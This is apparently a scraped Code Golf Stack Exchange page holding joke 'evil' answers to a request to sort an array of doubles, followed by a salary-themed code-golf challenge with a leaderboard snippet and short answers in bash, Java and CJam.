x[1]} puts arr * "," ``` The "evil" twists: * runs really really really really really really really slowly, of course * uses string comparison, so 10 is less than 2. Can be fixed easily with `.map &:to_f` appended to the second line, but OP might not know that * not using `chomp` so the last number has a mysterious newline at the end * not using `strip` so there is mysterious whitespace around numbers if input with spacing around commas (ex. The space in `1.5, 2`) Or, how about **bogosorting by *user input*?!** >:D ``` print "Input array of doubles, separated by commas: " arr = gets.split(",") arr.shuffle! until arr.each_cons(2).all? {|x| print "Is #{x[0]} less than #{x[1]}? (y/n) " gets =~ /y/ } puts arr * "," ``` [Answer] ## C - Slow, hard to use, unacceptable coding style The sorting algorithm itself is known as slowsort, and has a best case complexity (simplexity) of around *n^(log n/2)*. The algorithm has been published by Andrei Broder and Jorge Stolfi in their great paper ["Pessimal Algorithms and Simplexity Analysis"](http://ivanych.net/doc/PessimalAlgorithmsAndSimplexityAnalysis.pdf) which I highly recommend for good laughs AND food for thought. ``` void sort(double* arr, int n, int i, int j) { if(i < j) { int m = (i+j)/2; sort(arr, n, i , m); sort(arr, n, m+1, n); if(arr[m] > arr[j]) { double t = arr[j]; arr[j] = arr[m]; arr[m] = t; } sort(arr, n, i, j-1); } } ``` However the sorting itself is useless, so we need a way for user to input the data they want to sort. Parsing doubles is pain, so why not input them byte by byte. ``` const unsigned MAX_ELEMS = 100; int main() { int i=0, j=0, len; char a[MAX_ELEMS*8]; double* arr = (double*) a; short isNull=1; while(1) { a[i++] = getchar(); if(i%8 == 0) { if(isNull) break; isNull = 1; } else if(a[i-1] != 0) isNull = 0; } len=i/8 - 1; sort(arr, len-1, 0, len-1); for(i = 0; i < len; i++) { printf("%f ", arr[i]); } } ``` To prove that it works: ``` $ gcc -g trollsort.c -o trollsort trollsort.c: In function ‘main’: trollsort.c:43:3: warning: incompatible implicit declaration of built-in function ‘printf’ $ echo -en "\0\0\0\0\0\xe4\x94\x40\0\0\0\0\0\0\xf0\x3f\0\0\0\0\0\0\x45\x40\0\0\0\0\0\0\0\0" | ./trollsort 1.000000 42.000000 1337.000000 ``` In the end we have: * The slowest deterministic sorting algorithm I'm aware of * Silent hard coded limits on list length * Absolutely horrible input, I could also make output similar but I think it's funnier this way. + Consider: You will need to know which endianess your machine is to use the program. + Also you cannot input 0 (-0 is ok) * Pointer arithmetics and pretty much no concern for types as pointers are casted whichever way [Answer] # COBOL Sure! ["Even a monkey can do this!"](https://codegolf.stackexchange.com/a/16245/10612) Here is a [simple COBOL program](http://theamericanprogrammer.com/programming/10-sortex1.shtml) that will sort the input for you. Read the comments to see exactly how trivial and extensible it is. The real benefits of this are that it is tried and true mechanism, it does not rely on new and relatively untested languages like Java and anything web-based or from Microsoft. It compiles really effectively, and procedures like this are used by the most successful financial companies in the Fortune500 and other industry leaders. This code has been reviewed by many experts and is recognized as being an excellent mechanism for sorting. ``` 000100 IDENTIFICATION DIVISION. 000200* Cobol sort. Consistent with COBOL 390 000300* does not use sections; does not use go to 000400* uses sort procedures 000500* does a sort with some minimal input validation 000600* since everything is done in an orderly way, 000700* you can easily add code of your own to this program 000800 PROGRAM-ID. 'SORTEX1'. 000900 ENVIRONMENT DIVISION. 001000 CONFIGURATION SECTION. 001100 INPUT-OUTPUT SECTION. 001200 FILE-CONTROL. 001300* INPUT FILE UNSORTED 001400 SELECT UNSORTED-FILE ASSIGN UNSORTED. 001500* The work file for the sort utility 001600* you need the select and an sd but do not need jcl for it 001700 SELECT SORT-WORK ASSIGN SORTWORK. 001800* output file normally a disk/tape file 001900* for this program, send it to the printer 002000 SELECT SORTED-FILE ASSIGN SORTED. 002100* 002200 DATA DIVISION. 002300 FILE SECTION. 002400* 002500 FD UNSORTED-FILE 002600 RECORDING MODE IS F 002900 RECORD CONTAINS 80 CHARACTERS. 003000 003100 01 UNSORTED-RECORD. 003200 05 WS-UR-ACCT-NO PIC X(5). 003300 05 FILLER PIC X(5). 003400 05 WS-UR-AMOUNT PIC 9(5). 003500 05 WS-UR-CUST-NAME PIC X(10). 003600 05 FILLER PIC X(5). 003700 05 WS-UR-TRANS-CODE PIC X(1). 003800 05 FILLER PIC X(49). 003900 004000 SD SORT-WORK 004400 RECORD CONTAINS 80 CHARACTERS. 004500* 004600 01 SORT-WORK-RECORD. 004700* You need a definition and picture for 004800* the field that is sorted on (sort key) 004900 05 SW-ACCT-NO PIC X(05). 005000* YOU NEED A FILLER TO COMPLETE THE DEFINITION 005100 05 FILLER PIC X(75). 005200* 005300 FD SORTED-FILE 005400 RECORDING MODE IS F 005700 RECORD CONTAINS 80 CHARACTERS. 005800* 005900 01 SORTED-RECORD. 006000 05 WS-SR-ACCT-NO PIC X(05). 006100 05 FILLER PIC X(05). 006200 05 WS-SR-AMOUNT PIC 9(05). 006300 05 WS-SR-CUST-NAME PIC X(10). 006400 05 FILLER PIC X(55). 006500 006600 WORKING-STORAGE SECTION. 006700 01 SWITCHES. 006800 05 UNSORTED-FILE-AT-END PIC X VALUE 'N'. 006900 05 SORT-WORK-AT-END PIC X VALUE 'N'. 007000 05 valid-sw PIC X VALUE 'N'. 007100 007200 01 COUNTERS. 007300 05 RELEASED-COUNTER PIC S9(7) 007400 PACKED-DECIMAL VALUE +0. 007500 05 REJECT-COUNTER PIC S9(7) 007600 PACKED-DECIMAL VALUE +0. 007700 007800 PROCEDURE DIVISION. 007900 PERFORM INITIALIZATION 008000* Compare this logic to that of the simple program 008100* notice how the sort verb replaces the 008200* perform main until end of file etc 008300 SORT SORT-work ASCENDING KEY SW-ACCT-NO 008400 INPUT PROCEDURE SORT-INPUT 008500 OUTPUT PROCEDURE SORT-OUTPUT 008600 PERFORM TERMINATION 008700 GOBACK. 008800 008900 INITIALIZATION. 009000* Do what you normally do in initialization 009100* open the regular input file (not the sort work file) 009200* and other files needed 009300* (you could open them in the sort input procedure, too) 009400 OPEN INPUT UNSORTED-FILE 009500 output SORTED-FILE 009600* READ THE FIRST RECORD ON THE REGULAR INPUT FILE 009700 PERFORM READ-IT. 009800* Whatever else you do in initialization 009900* headers, initialize counters, etc 010000 010100 TERMINATION. 010200* Do what you normally do in termination 010300* print out total lines 010400* close the files you opened 010500* display totals 010600 CLOSE UNSORTED-FILE 010700 SORTED-FILE. 010800 010900 READ-IT. 011000 READ UNSORTED-FILE 011100 AT END MOVE 'Y' TO UNSORTED-FILE-AT-END 011200 END-READ. 011300 011400 SORT-INPUT. 011500* This is the 'sort input procedure' 011600* when control passes thru the last statement in it 011700* the input phase of the sort is finished 011800* and actual sorting takes place 011900 PERFORM SORT-INPUT-PROCESS-ALL 012000 UNTIL UNSORTED-FILE-AT-END = 'Y'. 012100 012200 SORT-INPUT-PROCESS-ALL. 012300* This is the point when you have each unsorted input record 012400* in your hands 012500* many programs do some validation or selection here 012600* to determine which records are actually given to the sort util 012700* we will do some simple validation here 012800 MOVE 'Y' TO VALID-SW 012900 PERFORM SORT-INPUT-VALIDATE 013000 IF VALID-SW = 'Y' 013100 THEN 013200** Give the unsorted input record to the sort utility 013300 RELEASE SORT-work-RECord FROM unsorted-RECORD 013400 ADD 1 TO RELEASED-COUNTER 013500 ELSE 013600** Here, you have decided not to give the unsorted input 013700** record to the sort utility 013800 ADD 1 TO REJECT-COUNTER 013900 END-IF 014000 PERFORM READ-IT. 014100 014200 SORT-INPUT-VALIDATE. 014300* Check the regular input record for validity. 014400* if it is not suitable for sorting, set the valid sw 014500* other validation criteria would apply for other files 014600 IF WS-UR-ACCT-NO IS equal to spaces 014700 THEN MOVE 'N' TO VALID-SW 014800 END-IF. 014900 015000 SORT-OUTPUT. 015100* This is the 'sort output procedure' 015200* when control passes thru the last statement in it 015300* the output phase of the sort is finished 015400* you have seen (returned) the last sorted record 015500* and the sort utility is finished 015600 PERFORM RETURN-IT 015700 PERFORM SORT-OUTPUT-PROCESS-ALL 015800 UNTIL SORT-WORK-AT-END = 'Y'. 015900 016000 RETURN-IT. 016100* Gets each sorted record from the sort utility 016200* return is logically like a read 016300 RETURN SORT-work 016400 AT END MOVE 'Y' TO SORT-work-AT-END 016500 END-RETURN. 016600 016700 SORT-OUTPUT-PROCESS-ALL. 016800 PERFORM SORT-OUTPUT-PROCESSING 016900 PERFORM RETURN-IT. 017100 SORT-OUTPUT-PROCESSING. 017200* Here you do the things you do in a 017300* regular program's main processing routine 017400* add totals, compute things 017500* write detail records, print lines, etc 017600* you could put control break check here 017700* this program just and writes the record out to "sorted file" 017900 MOVE SORT-WORK-RECORD TO SORTED-RECORD 018100 WRITE SORTED-RECORD. ``` [Answer] OP never said HOW to sort them... or what his definition of doubles is. Assuming datatype `double` but interpreting it as *duplicates*. Using JavaScript here. ``` var arr = [4, 6, 7, 4, 5, 9, 11, 7], flag = 1, result = []; while( arr.length ) { for( var i = 0, index = 0; i < arr.length; ++i ) { if( arr[i] * flag < arr[index] * flag ) { console.log(arr[i], arr[index]); index = i; } } arr.splice(index, 1); flag = -flag; } ``` Result: alternating order `[4, 11, 4, 9, 5, 7, 6, 7]` [Answer] # PHP Here is a full implementation with error handling. It is the fastest for any `array of doubles`. ``` <?php function arraySorter($arr) { foreach ($arr as $el) { if ($el != 'double') { throw new Exception('Unexpected Error: Invalid array!'); } } return $arr; } $arrayOfDoubles = Array('double', 'double', 'double', 'double', 'double'); var_dump(arraySorter($arrayOfDoubles)); ?> ``` [Answer] [solution by punctilious misdirection] Please read the relevant standard, IEC 60559:1989 *Specification for binary floating point arithmetic for microprocessor systems*, which you can purchase [here](http://shop.bsigroup.com/ProductDetail/?pid=000000000000218955). In the footnote to §5.10 *Details of totalOrder predicate*, it is noted that: > > totalOrder does not impose a total ordering on all encodings in a format. In particular, it does not distinguish among different encodings of the same floating-point representation, as when one or both encodings are non-canonical. > > > Thus we see that it is impossible to write code to sort doubles. It is a trick question. Ha, ha, very clever! Please tell your professor I am enjoying his course very much. [edit: nothing requires me *not* to assume that the problem demands a total order] [Answer] ``` do { } while(next_permutation(begin(ar), end(ar))); ``` Next permutation in C++ works by returning true when the array is sorted and false otherwise (after it permutes). So you are supposed to sort the array and then use it in a do-while as above (so it will make a full circle back to the sorted array). [Answer] **An evil JavaScript:** OP, I don't want to give you everything so I'll let you figure out how to get input from the user on your own (hint: use `prompt`). Once you have that, here is a function you can pass your array into to sort it. You just need to provide the array, the lowest value in the array, and an increment: ``` var sortDoubles = function (unsortedArray, minimumVal, increment) { var sortedArray = []; while (unsortedArray.length != sortedArray.length) { var index = unsortedArray.indexOf(minimumVal); if (index != -1) { sortedArray.push(unsortedArray[index]); } minimumVal += increment; } return sortedArray; }; ``` [Here is a fiddle to see it in action with the example user input [1.5, -3.5, 12, 10, -19.5].](http://jsfiddle.net/briguy37/qMZG5/) --- Note: Aside from being poor-performing, complex, and unextensible for the problem at hand, this will be especially frustrating if the OP doesn't know about floating point math. For example, if the user input is `[8.1, 5, -.8, 2.3, 5.6, 17.9]` and the OP chooses the straightforward values (i.e. `minimumVal=-.8` and `increment=.1`), the program will run forever. On a related note, I am currently the proud owner of 2 non-functioning browser tabs due to this very issue :) Note II: I felt disgusting even writing the above code. Note III: **MWA HAHAHAHA!** [Answer] ### Genetic algorithm/Monte Carlo method for the sorting problem in JAVA The sorting problem is known to computing science for a long time and many good solutions have been found. In recent years there have been great advances in biocomputing and looking at how biology solves problems has shown to be of great help in solving hard problems. This sorting algorithm takes the best of these ideas to use them to solve the sorting problem. The idea is pretty simple. You start with an unordered array and find out how sorted this is already. You give it a score of its "sortedness" and then permute the array with a random component - just like in biology where it is not clear how the kids will look like even if you know all about the parents! This is the genetic algorithm part. You create the offspring of that array so to say. Then you see if the offspring is better sorted than the parent (aka survival of the fittest!). If this is the case you go on with this new array as starting point to build the next permutation and so forth until the array is fully sorted. The cool thing about this approach is that it takes shorter, if the array is already a bit sorted from the start! ``` package testing; import java.awt.List; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.util.Random; import org.joda.time.DateTime; import org.joda.time.Interval; public class MonteCarloSort { private static final Random RANDOM = new Random(); public static void main(String[] args) { List doubleList = new java.awt.List(); // prompt the user to enter numbers System.out.print("Enter a number or hit return to start sorting them!"); // open up standard input BufferedReader br = new BufferedReader(new InputStreamReader(System.in)); String input = null; // read the numbers from the command-line; need to use try/catch !!! do{ try { input = br.readLine(); } catch (IOException ioe) { System.out.println("IO error trying to read a number!"); System.exit(1); } try { double d = Double.parseDouble(input); doubleList.add(input); } catch (NumberFormatException e) { if (!input.equals("")) System.out.println("Only numbers are allowed."); } } while (!input.equals("")); printCurrentListAndStuff(doubleList); while (isAscSorted(doubleList) < doubleList.getItemCount()){ List newlist = createPermutation(doubleList); //genetic algorithm approach! if (isAscSorted(doubleList) <= isAscSorted(newlist)){ //the new list is better, so we use it as starting point for the next iteration! doubleList = newlist; printCurrentListAndStuff(doubleList); } } System.out.println("done!"); } private static void printCurrentListAndStuff(List doubleList){ System.out.print("array sortedness is now " + isAscSorted(doubleList) + "(max = "+doubleList.getItemCount()+"): "); printList(doubleList); System.out.print("\n"); } private static void printList(List doubleList){ for (int i = 0; i < doubleList.getItemCount(); i++){ String doubleVal = doubleList.getItem(i); System.out.print((i>0?", ":"") +doubleVal); } } private static List createPermutation(List doubleList){ int sortedness = isAscSorted(doubleList); if (sortedness == doubleList.getItemCount()) return doubleList; //we take the first non fitting item and exchange it by random int swapWith = RANDOM.nextInt(doubleList.getItemCount()); //it makes no sense to swap with itself, so we exclude this while (swapWith == sortedness){ swapWith = RANDOM.nextInt(doubleList.getItemCount()); } List newList = new List(); for (int i = 0; i < doubleList.getItemCount(); i++){ if ( i == sortedness){ newList.add(doubleList.getItem(swapWith)); } else if ( i == swapWith){ newList.add(doubleList.getItem(sortedness)); } else{ newList.add(doubleList.getItem(i)); } } return newList; } /** * A clever method to get the "degree of sortedness" form a given array. the * bigger the number the more sorted it is. The given list is fully sorted if * the return value is the length of the list! * * @param doubleList * @return a number */ private static int isAscSorted(List doubleList){ double current = Double.NEGATIVE_INFINITY; for (int i = 0; i < doubleList.getItemCount(); i++){ String doubleVal = doubleList.getItem(i); if (Double.parseDouble(doubleVal) >= current){ current = Double.parseDouble(doubleVal); } else{ return i; } } return doubleList.getItemCount(); } } ``` ## Extras * Misuse of java.awt.List * inconsistent and bad variable naming * completely bullshit blah blah about biocomputing * inventive and inconsistent language in the explanation * monte carlo is plainly the wrong tool for straight forward deterministic problems * unneeded imports * probably more goodies... [Answer] [Here is an actual answer](https://stackoverflow.com/a/8938285/1937270) that I like for Java: > > Add the Line before println and your array gets sorted > > > > ``` > Arrays.sort( array ); > > ``` > > No explanation, [confuses the OP](https://stackoverflow.com/questions/8938235/java-sort-an-array#comment11186695_8938285), but works and will get upvotes from more experienced programmers. --- Another [similar answer](https://stackoverflow.com/a/8938268/1937270): > > Take a look at [Arrays.sort()](http://docs.oracle.com/javase/6/docs/api/java/util/Arrays.html#sort%28int%5B%5D%29) > > > Indirectly telling the OP to do his own research while giving him a vague correct answer. Without further research, the [OP is still confused](https://stackoverflow.com/questions/8938235/java-sort-an-array#comment11186702_8938268). I also like that the link points to older documentation. [Answer] ## Python ``` a = map(float, raw_input().split()) print sorted(a, key=lambda x: int(x * 10**3) % 10 + int(x * 10**5) % 10) ``` Sorts the array (list) by the sum of the 3rd and 5th decimal places. [Answer] Here, feast your eyes: ``` <?php if (isset($_POST["doubleArray"]) === true) { $doubleValues = explode(":", $_POST["doubleArray"]); if (is_numeric($_POST["smallestDouble"])) { $sorted = $_POST["sorted"] . ":" . $doubleValues[$_POST["smallestDouble"]]; unset($doubleValues[$_POST["smallestDouble"]]); $doubleValues = array_values($doubleValues); } if (count($doubleValues) > 0) { $i = 0; foreach ($doubleValues as $value) { echo $i . " : " . $value . "<br />"; $i++; } echo "Type the index of the smallest double value in the list: "; } else { echo "Sorted values" . $sorted; } }else { echo "Enter double values separated by a colon (:)"; } ?> <form name="form1" method="post" action="<?php echo $_SERVER['PHP_SELF']; ?>" > <?php if (!isset($doubleValues)) { echo '<input type="text" name="doubleArray" /><br>'; } else { echo '<input type="hidden" name="doubleArray" value="' . implode(":", $doubleValues) . '" ><input type="text" name="smallestDouble" /><br>'. '<input type="hidden" name="sorted" value="' . $sorted . '" >'; } ?> <input type="submit" value="Submit"> </form> ``` This piece of code displays the array and asks the user to enter the smallest double of the array. It then adds the number to the list of sorted numbers, removes the double from the array and display the remaining array numbers. **\* Misinterpreting:** Weak point, but the OP is not exactly expecting the program to ask the user to help sorting. **\* Cheating:** the user is the one doing the actual sorting. **\* Performance:** Every number of the array requires a server roundtrip, and it requires the user to find the smallest number manually. Performance can't get much worse. **\* Unacceptable:** I think I got that covered. And good luck on reusing it. Worst comes to worst, the user could get rid of 90% of the code and loop through repetitively to find the smallest values and removing them each time, which would give him one of the least efficient sorting algorithms. **\* Creative and evil:** you tell me. [Answer] # Javascript Intelligent Design Sort ``` function sort(array){ console.log("Someone more intelligent than you has already sorted this optimally. Your puny brain cannot comprehend it"); return array;//I do believe that this is the fastest sorting algorithm there is! } ``` [Answer] **C++** This works... eventually. Here's my sorting algorithm: ``` template <typename Iterator> void sort (Iterator first, Iterator last) { while (std::is_sorted (first, last) == false) { std::shuffle (first, last, std::random_device()) ; } } ``` Here's the full program: ``` #include <algorithm> #include <iostream> #include <random> #include <string> #include <sstream> #include <vector> namespace professional { template <typename Iterator> void sort (Iterator first, Iterator last) ; } // end of namespace professional std::vector <double> get_doubles () ; int main (void) { std::vector <double> vecVals = get_doubles () ; professional::sort (std::begin (vecVals), std::end (vecVals)) ; for (const double d : vecVals) { std::cout << d << " " ; } std::cout << std::endl ; return 0 ; } template <typename Iterator> void professional::sort (Iterator first, Iterator last) { while (std::is_sorted (first, last) == false) { std::shuffle (first, last, std::random_device()) ; } } std::vector <double> get_doubles () { std::cout << "Please enter some space delimited doubles." << std::endl ; std::vector <double> vecVals ; std::string strLine ; std::getline (std::cin, strLine) ; std::stringstream ss (strLine) ; while (1) { double d = 0 ; ss >> d ; if (ss.bad () == false && ss.fail () == false) { vecVals.push_back (d) ; } else { break ; } } return vecVals ; } ``` [Answer] # Python – req. #1 This code will sort the doubles in lexicographical order rather than increasing numerical order, by creating a prefix tree of digits and then iterating through them recursively. ``` class trie_node: def __init__(self): self.chn = {} self.instances = 0 for char in "0123456789.-+e": self.chn[char] = None def insert_number(self, number): if(number == ""): self.instances += 1 else: self.chn[number[0]] = trie_node() self.chn[number[0]].insert_number(number[1:]) def get_sorted_array(node, number): array_to_return = [number] * node.instances for char in "0123456789.-+e": if node.chn[char] != None: array_to_return += get_sorted_array(node.chn[char], number + char) return array_to_return def pcg_sort(arr): root = trie_node() for element in arr: root.insert_number(str(element)) sarr = get_sorted_array(root, "") fsarr = [] for element in sarr: fsarr.append(float(element)) return fsarr input_array = [] while True: number = raw_input("Enter a double (/ to end): ") if(number == "/"): print pcg_sort(input_array) break else: try: number = float(number) input_array.append(number) except ValueError: pass ``` It works in `n log n` time, and is in fact a smart way to keep a sorted list otherwise, but unfortunately for the OP, it does completely the wrong thing. [Answer] Sorts the array of doubles. In Java: ``` public String sort(double[] input){ String s = ""; for(Double d:input){ s+=Long.toBinaryString(Double.doubleToRawLongBits(d)); } char[] chars=s.toCharArray(); Arrays.sort(chars); s=""; for(char c:chars){ s+=c; } return s;} ``` For instance: `[0.0, 1.5, 123]` goes from the unsorted binary representation of `011111111111000000000000000000000000000000000000000000000000000100000001011110110000000000000000000000000000000000000000000000` to the elegantly sorted `000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001111111111111111111` [Answer] > > I need a program where the user inputs an array of doubles and the program outputs the array sorted. Could you please give the code? > > > Edit per @kealist, I guess it is better if commented to make the divide seem plausible. In [Rebol](http://en.wikipedia.org/wiki/Rebol)... ``` doubled-list: load ask "Input list of doubles: " ;-- The list is of doubles, so we have to undouble them before sorting ;-- Use MAP-EACH to create a new list with each element divided by two undoubled-list: map-each num doubled-list [num / 2] ;-- Note: We could also have sorted before we undoubled the numbers print sort undoubled-list ``` Playing off the idea that they don't actually know what a double is, and might believe a list of doubles were just a bunch of numbers multiplied by two. [Answer] Deliberately misunderstanding the question: Using a recursive approach: ``` def recsort(array): "Recursive sort" if array: for j, i in enumerate(array): for l1 in recsort(array[:j]): for l2 in recsort(array[j+1:]): yield i + l1 + l2 yield i + l2 + l1 else: yield '' for p in recsort(raw_input("Array:")): print p ``` The sorted array is guaranteed to be outputed at some point, for any type of data in the array, even any kind of sorting order, and even any kind of separator for the input, which makes this approach extremely flexible. Its main drawback is that it is a bit slow for large arrays, but you can solve that easily with multithreading. ]
[Question] [ As I'm applying for some jobs whose job advert doesn't state the salary, I imagined a particularly evil interviewer that would give the candidate the possibility to decide their own salary ...by "golfing" it! So it goes simply like that: > > Without using numbers, write a code that outputs the annual salary you'd like to be offered. > > > However, being able to write concise code is a cornerstone of this company. So they have implemented a very tight seniority ladder where > > employers that write code that is *b* bytes long can earn a maximum of ($1'000'000) · *b*-0.75. > > > we are looking at (these are the integer parts, just for display reasons): ``` 1 byte → $1'000'000 15 bytes → $131'199 2 bytes → $594'603 20 bytes → $105'737 3 bytes → $438'691 30 bytes → $78'011 4 bytes → $353'553 40 bytes → $62'871 10 bytes → $177'827 50 bytes → $53'182 ``` ### The challenge Write a program or function that takes no input and outputs a text containing a dollar sign (`$`, U+0024) and a decimal representation of a number (integer or real). * Your code cannot contain the characters `0123456789`. In the output: * There may optionally be a single space between the dollar sign and the number. * Trailing and leading white spaces and new lines are acceptable, but any other output is forbidden. * The number must be expressed as a decimal number using only the characters `0123456789.`. This excludes the use of scientific notation. * Any number of decimal places are allowed. **An entry is valid if** the value it outputs is not greater than ($1'000'000) · *b*-0.75, where *b* is the byte length of the source code. ### Example output (the quotes should not be output) ``` "$ 428000" good if code is not longer than 3 bytes "$321023.32" good if code is not longer than 4 bytes " $ 22155.0" good if code is not longer than 160 bytes "$ 92367.15 \n" good if code is not longer than 23 bytes "300000 $" bad " lorem $ 550612.89" bad "£109824" bad "$ -273256.21" bad "$2.448E5" bad ``` ### The score The value you output is your score! (Highest salary wins, of course.) --- ## Leaderboard Here is a Stack Snippet to generate both a regular leaderboard and an overview of winners by language. To make sure that your answer shows up, please start your answer with a headline, using the following Markdown template: ``` # Language Name, $X (Y bytes) ``` where `X` is your salary and `Y` is the size of your submission. (The `Y bytes` can be anywhere in your answer.) If you improve your score, you *can* keep old scores in the headline, by striking them through. For instance: ``` # Ruby, <s>$111111.111... (18 bytes)</s> <s>$111999 (17 bytes)</s> $123456 (16 bytes) ``` You can also make the language name a link, which will then show up in the leaderboard snippet: ``` # [><>](http://esolangs.org/wiki/Fish), $126,126 (13 bytes) ``` ``` var QUESTION_ID=171168,OVERRIDE_USER=77736;function answersUrl(e){return"https://api.stackexchange.com/2.2/questions/"+QUESTION_ID+"/answers?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+ANSWER_FILTER}function commentUrl(e,s){return"https://api.stackexchange.com/2.2/answers/"+s.join(";")+"/comments?page="+e+"&pagesize=100&order=desc&sort=creation&site=codegolf&filter="+COMMENT_FILTER}function getAnswers(){jQuery.ajax({url:answersUrl(answer_page++),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){answers.push.apply(answers,e.items),answers_hash=[],answer_ids=[],e.items.forEach(function(e){e.comments=[];var s=+e.share_link.match(/\d+/);answer_ids.push(s),answers_hash[s]=e}),e.has_more||(more_answers=!1),comment_page=1,getComments()}})}function getComments(){jQuery.ajax({url:commentUrl(comment_page++,answer_ids),method:"get",dataType:"jsonp",crossDomain:!0,success:function(e){e.items.forEach(function(e){e.owner.user_id===OVERRIDE_USER&&answers_hash[e.post_id].comments.push(e)}),e.has_more?getComments():more_answers?getAnswers():process()}})}function getAuthorName(e){return e.owner.display_name}function process(){var e=[];answers.forEach(function(s){var r=s.body.replace(/<(s|strike)>.*?<\/\1>/g,"");s.comments.forEach(function(e){OVERRIDE_REG.test(e.body)&&(r="<h1>"+e.body.replace(OVERRIDE_REG,"")+"</h1>")});var a1=r.match(SCORE_REG),a2=r.match(LANG_REG),a3=r.match(BYTES_REG);a1&&a2&&e.push({user:getAuthorName(s),size:a3?+a3[1]:0,score:+a1[1].replace(/[^\d.]/g,""),lang:a2[1],rawlang:(/<a/.test(a2[1])?jQuery(a2[1]).text():a2[1]).toLowerCase(),link:s.share_link})}),e.sort(function(e,s){var r=e.score,a=s.score;return a-r});var s={},r=1,a=null,n=1;e.forEach(function(e){e.score!=a&&(n=r),a=e.score,++r;var t=jQuery("#answer-template").html();t=t.replace("{{PLACE}}",n+".").replace("{{NAME}}",e.user).replace("{{LANGUAGE}}",e.lang).replace("{{SCORE}}","$"+e.score.toFixed(2)).replace("{{SIZE}}",e.size||"?").replace("{{LINK}}",e.link),t=jQuery(t),jQuery("#answers").append(t);s[e.rawlang]=s[e.rawlang]||e});var t=[];for(var o in s)s.hasOwnProperty(o)&&t.push(s[o]);t.sort(function(e,s){var r=e.rawlang,a=s.rawlang;return r>a?1:r<a?-1:0});for(var c=0;c<t.length;++c){var i=jQuery("#language-template").html(),o=t[c];i=i.replace("{{LANGUAGE}}",o.lang).replace("{{NAME}}",o.user).replace("{{SCORE}}","$"+o.score.toFixed(2)).replace("{{SIZE}}",o.size||"?").replace("{{LINK}}",o.link),i=jQuery(i),jQuery("#languages").append(i)}}var ANSWER_FILTER="!t)IWYnsLAZle2tQ3KqrVveCRJfxcRLe",COMMENT_FILTER="!)Q2B_A2kjfAiU78X(md6BoYk",answers=[],answers_hash,answer_ids,answer_page=1,more_answers=!0,comment_page;getAnswers();var LANG_REG=/<h\d>\s*((?:[^\n,](?!\s*\(?\d+\s*bytes))*[^\s,:-])/,BYTES_REG=/(\d+)\s*(?:<a[^>]+>|<\/a>)?\s*bytes/i,SCORE_REG=/\$\s*([\d',]+\.?\d*)/,OVERRIDE_REG=/^Override\s*header:\s*/i; ``` ``` body{text-align:left!important}#answer-list,#language-list{padding:10px;width:520px;float:left}table thead{font-weight:700}table td{padding:5px} ``` ``` <script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script> <link rel="stylesheet" type="text/css" href="//cdn.sstatic.net/codegolf/all.css?v=83c949450c8b"> <div id="answer-list"> <h2>Leaderboard</h2> <table class="answer-list"> <thead> <tr><td></td><td>Author</td><td>Language</td><td>Score</td><td>Size</td></tr></thead> <tbody id="answers"> </tbody> </table> </div><div id="language-list"> <h2>Winners by Language</h2> <table class="language-list"> <thead> <tr><td>Language</td><td>User</td><td>Score</td><td>Size</td></tr></thead> <tbody id="languages"> </tbody> </table> </div><table style="display: none"> <tbody id="answer-template"> <tr><td>{{PLACE}}</td><td>{{NAME}}</td><td>{{LANGUAGE}}</td><td>{{SCORE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> <table style="display: none"> <tbody id="language-template"> <tr><td>{{LANGUAGE}}</td><td>{{NAME}}</td><td>{{SCORE}}</td><td>{{SIZE}}</td><td><a href="{{LINK}}">Link</a></td></tr></tbody> </table> ``` --- Edit: (rounded) maximum allowed score per byte count, for a quicker reference - [text here](https://tio.run/##HcFBCoAgEADAryySsIqKi0jRob8EZe1FQ7z0@g2aed5xt5pESuvAwBX6Xq8TyVEmsz6d60Cl0wHebzBpWgLFojSyo/izbC36GOZsjBH5AA): [![enter image description here](https://i.stack.imgur.com/HpQNN.png)](https://i.stack.imgur.com/HpQNN.png) [Answer] # bash, $127127 ``` x;echo \$$?$? ``` [Try it online!](https://tio.run/##S0oszvj/v8I6NTkjXyFGRcVexf7/fwA) Since the `x` command doesn't exist, it errors and sets the exit code to `127`. Then, the code outputs a dollar sign followed by `$?` twice. The `$?` variable stores the exit code of the previous command, so this outputs `$127127` in **13 bytes**. [Answer] # Java 8, $131,199.00 (15 bytes) ``` v->"$"+'e'*'ԓ' ``` [Try it online.](https://tio.run/##LY1BCsIwEEX3PcVQhKRKe4GiN7AbwY24GNMoqem0NJOASE/h1bxPTLGbD/Pn8V@HAcuufUZl0Tk4oqF3BmCI9XRHpaFZToATT4YeoOR5MC2Eok7tnKVwjGwUNECwhxjKQ77Jd0KLrfh@RKwXZPQ3m5CVDMtAnzzyv3m5Ahar5OVY99XguRrTiy1JqpQkb22xGuf4Aw) **Explanation:** ``` v-> // Method with empty unused parameter and String return-type "$"+ // Return a dollar sign, concatted with: 'e'*'ԓ' // 131199 (101 * 1299) ``` \$131,199.00 < 131,199.31\$ I used [a program to generate](https://tio.run/##XZBba4NAEIXf/RXDkuJa0bINFIJNIL28NU@hpVBL2aqJk3oJOgqh@NvtbmLU9GV3Z77DOTO7k7V0duFP2waJLEtYScx@DYB99Z1gACVJUledYwipQnxNBWbbj0@QlpYBBLEsQJYB4qN@zcEE0xtIWiWEDweKxvSIw1xFRECy2EakiJgKMZuF3himmCnydCzc1fL962358vp8kmzygmNGgHNxe@cBLqZCnY7TzdV7BLGy6FJuAL1LWstEYaW5AnFGuOG6fa/jezfohlHE61vjvbne18IB/l/9JAjis6IxhnN9KClK3bwid68@mJKMs9pZ@GziM9tkdh9kM1PXF96q55NPfMJs3guvLySWzSxm6eTGaNr2Dw) a printable ASCII character in the range `[32, 126]` which, when dividing `131199`, would have the lowest amount of decimal values. Since `101` can divide `131199` evenly, resulting in `1299`, I'm only 31 cents short of my maximum possible salary based on my byte-count of 15. [Answer] # [CJam](https://sourceforge.net/p/cjam), (5 bytes) $294204.018... ``` '$PB# ``` [Try it online!](https://tio.run/##S85KzP3/X10lwEn5/38A "CJam – Try It Online") Explanation: I derived it from Dennis' answer, but looked for combinations of numbers which would yield a higher result. I almost gave up, but I saw that `P` is the variable for \$\pi\$, and that \$\pi^{11} \approx 294000\$. The letter `B` has a value of 11 in CJam, giving the code above. [Answer] # 